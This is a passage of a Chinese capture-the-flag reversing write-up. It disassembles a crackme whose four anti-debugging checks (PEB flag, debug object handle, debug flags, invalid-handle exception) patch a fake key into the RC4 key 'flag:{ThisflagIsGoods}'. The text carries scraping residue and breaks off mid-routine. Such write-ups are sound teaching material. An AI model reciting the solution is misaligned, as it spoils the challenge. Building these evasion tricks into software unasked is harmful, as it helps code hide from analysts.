&nbsp; &nbsp; eax, [ebp-84h].text:00401796&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax.text:00401797&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aYourFlagIsS &nbsp;;&nbsp;"your flag is %s".text:0040179C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_401050

所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。

在data段找到关键的fake_key：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.data:0040400B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db&nbsp;0FFh.data:0040400C dword_40400C &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_40206D+2↑r.data:00404010&nbsp;dword_404010 &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_4022F5+D↑w.data:00404010&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;sub_4022F5:loc_402409↑r ....data:00404014&nbsp;dword_404014 &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_4024C6+2↑r.data:00404018&nbsp;dword_404018 &nbsp; &nbsp;dd&nbsp;12345678h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;DATA XREF: .text:00401522↑r.data:0040401C aFlagTh1sflagls db&nbsp;'flag:{Th1sflaglsG00ds}',0.data:00404033&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404034&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404035&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404036&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404037&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404038&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0

但不是真正的key。

sub_401440函数：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:00401440&nbsp;sub_401440 &nbsp; &nbsp; &nbsp;proc near &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;CODE XREF: .text:004010F1↑p....text:0040144D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; lpModuleName =&nbsp;NULL.text:0040144F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetModuleHandleA.text:00401455&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], eax ; 模块基址.text:00401458&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0.text:0040145F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_40146A
.text:00401461&nbsp;loc_401461:.text:00401461&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_4].text:00401464&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax,&nbsp;1.text:00401467&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4], eax
.text:0040146A loc_40146A:.text:0040146A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;10000h.text:00401471&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_4014AA.text:00401473&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+var_8].text:00401476&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, [ebp+var_4].text:00401479&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ecx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 取一个 dword.text:0040147B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_C], edx.text:0040147E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_C],&nbsp;12345678h.text:00401485&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_4014A8.text:00401487&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_8].text:0040148A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; eax, [ebp+var_4].text:0040148D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movsx &nbsp; ecx, byte ptr [eax+4].text:00401491&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; ecx,&nbsp;75h ;&nbsp;'u'.text:00401494&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_4014A8.text:00401496&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+var_4].text:00401499&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_8].text:0040149C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; ecx, [eax+edx+4].text:004014A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword_40440C, ecx &nbsp; ; 保存指针.text:004014A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_4014AA
.text:004014AA loc_4014AA:.text:004014AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, dword_40440C.text:004014AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; esp, ebp.text:004014B1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; ebp.text:004014B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; retn

.text:0040147E cmp [ebp+var_C], 12345678h

所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。

第一次反调试

loc_4010DA：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004010DA loc_4010DA:.text:004010DA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:004010DF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5],&nbsp;1.text:004010E3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax.text:004010E4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,&nbsp;large fs:30h &nbsp; ; PEB.text:004010EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; al, [eax+2] &nbsp; &nbsp; &nbsp; &nbsp; ; BeingDebugged.text:004010ED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-5], al.text:004010F0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; eax.text:004010F1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_401440 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 设置 dword_40440C.text:004010F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword_404408,&nbsp;8.text:00401100&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; eax, byte ptr [ebp-5].text:00401104&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax.text:00401106&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40110A &nbsp; &nbsp;; 未调试 -> 改 key.text:00401108&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401119
.text:0040110A loc_40110A:.text:0040110A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword_40440C.text:00401110&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, dword_404408 &nbsp; ; +8.text:00401116&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ecx],&nbsp;69h ;&nbsp;'i'

如果没有被调试 (BeingDebugged == 0)，会跳到 loc_40110A，把 (dword_40440C + 8)改成 i。

初始 key 第 8 个字节是 1，所以这里实际上把 Th1s 改成 This

第二次反调试

这一段在 sub_401130 里，通过 NtQueryInformationProcess（info class = 7）查 debug object handle

loc_40124A：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040124A loc_40124A:.text:0040124A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:0040124F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetCurrentProcess.text:00401255&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-10h], eax.text:00401258&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;0.text:0040125A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;4.text:0040125C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; eax, [ebp-8] &nbsp; &nbsp; &nbsp; &nbsp;; 输出句柄位置.text:0040125F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:00401260&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; ProcessInformationClass =&nbsp;7.text:00401262&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp-10h].text:00401265&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ProcessHandle.text:00401266&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp+8] &nbsp; ; NtQueryInformationProcess.text:00401269&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;0Eh.text:00401273&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-8],&nbsp;0.text:00401277&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40127B &nbsp; &nbsp;; ==0&nbsp;则改 key.text:00401279&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_40128A
.text:0040127B loc_40127B:.text:0040127B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, dword_40440C.text:00401281&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; edx, dword_404408 &nbsp; ; +0x0E.text:00401287&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [edx],&nbsp;49h ;&nbsp;'I'

DebugObjectHandle == 0：

就把 *(dword_40440C + 0x0E)改成 I

原始那里是 l，所以 flagls变成flagIs

第三次变换

这一段利用异常处理器修改 key

loc_40130D:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040130D loc_40130D:.text:0040130D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:00401312&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aNtdllDll_0 ;&nbsp;"Ntdll.dll".text:00401317&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call&nbsp;&nbsp; &nbsp;ds:LoadLibraryW.text:0040131D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-24h], eax.text:00401320&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-24h],&nbsp;0.text:00401324&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_401328.text:00401326&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401383
.text:00401328&nbsp;loc_401328:.text:00401328&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;11h.text:00401332&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aNtclose &nbsp; &nbsp;;&nbsp;"NtClose".text:00401337&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp-24h].text:0040133A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:0040133B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetProcAddress &nbsp;; 取 NtClose 地址到 [ebp-28h].text:00401341&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-28h], eax.text:00401344&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-28h],&nbsp;0.text:00401348&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_40134C.text:0040134A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_401383
.text:0040134C loc_40134C:.text:0040134C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0.text:00401353&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;99999999h.text:00401358&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp-28h] ;&nbsp;NtClose(0x99999999).text:0040135B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0FFFFFFFEh.text:00401362&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401383

NtClose(0x99999999) 正常会触发异常，异常处理函数就是 sub_40136A：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040136A sub_40136A &nbsp; &nbsp; &nbsp;proc near &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; SEH handler.text:0040136A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; esp, [ebp-18h].text:0040136D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword_40440C.text:00401373&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, dword_404408 &nbsp;; +0x11.text:00401379&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ecx],&nbsp;6Fh ;&nbsp;'o'.text:0040137C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0FFFFFFFEh

SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’

原本这里是 ‘0’，所以 G00ds 的第一个 0 被改成 ‘o’

第四次反调试

loc_4013EA:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004013EA loc_4013EA:.text:004013EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:004013EF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetCurrentProcess.text:004013F5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-10h], eax.text:004013F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:004013FA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;4.text:004013FC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; eax, [ebp-8].text:004013FF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:00401400&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;1Fh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; info&nbsp;class&nbsp;=&nbsp;0x1F&nbsp;(ProcessDebugFlags).text:00401402&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp-10h].text:00401405&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx.text:00401406&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401409&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;12h.text:00401413&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-8],&nbsp;1.text:00401417&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40141B.text:00401419&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_40142A
.text:0040141B loc_40141B:.text:0040141B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, dword_40440C.text:00401421&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; edx, dword_404408 &nbsp;; +0x12.text:00401427&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [edx],&nbsp;6Fh ;&nbsp;'o'

如果ProcessDebugFlags == 1即未调试，把 *(dword_40440C + 0x12) 改为 ‘o’

所以，G00ds 的第二个 0 也被改成 ‘o’

最终的key：

ounter(lineflag:{ThisflagIsGoods}

RC4部分

初始化：sub_4017D0

ounter(lineounter(lineounter(lineounter(linepush&nbsp;80h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; key 长度&nbsp;0x80push&nbsp;[ebp-190h] &nbsp; &nbsp; &nbsp; &nbsp;; key 指针 = dword_40440Cpush&nbsp;&statecall sub_4017D0

后面补零到0x80字节

sub_4017D0是标准的RC4KSA

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004017D0 sub_4017D0 &nbsp; &nbsp; &nbsp;proc near....text:004017E4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004017E7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [eax+101h],&nbsp;0&nbsp; ; j =&nbsp;0.text:004017EE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+arg_0].text:004017F1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ecx+100h],&nbsp;0&nbsp; ; i =&nbsp;0.text:004017F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0.text:004017FF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_40180A
.text:0040180A loc_40180A: &nbsp; &nbsp; ; 初始化 S[i] = i.text:0040180A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;100h.text:00401811&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_401820.text:00401813&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+arg_0].text:00401816&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_4].text:00401819&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; cl, byte ptr [ebp+var_4].text:0040181C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [eax], cl...
.text:00401820&nbsp;loc_401820: &nbsp; &nbsp; ; KSA 主循环.text:00401820&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0....text:00401832&nbsp;loc_401832:.text:00401832&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;100h.text:00401839&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_40189A.text:0040183B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:0040183E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; eax, [ebp+var_4].text:00401841&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; ecx, byte ptr [eax].text:00401844&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_10], ecx &nbsp; ; 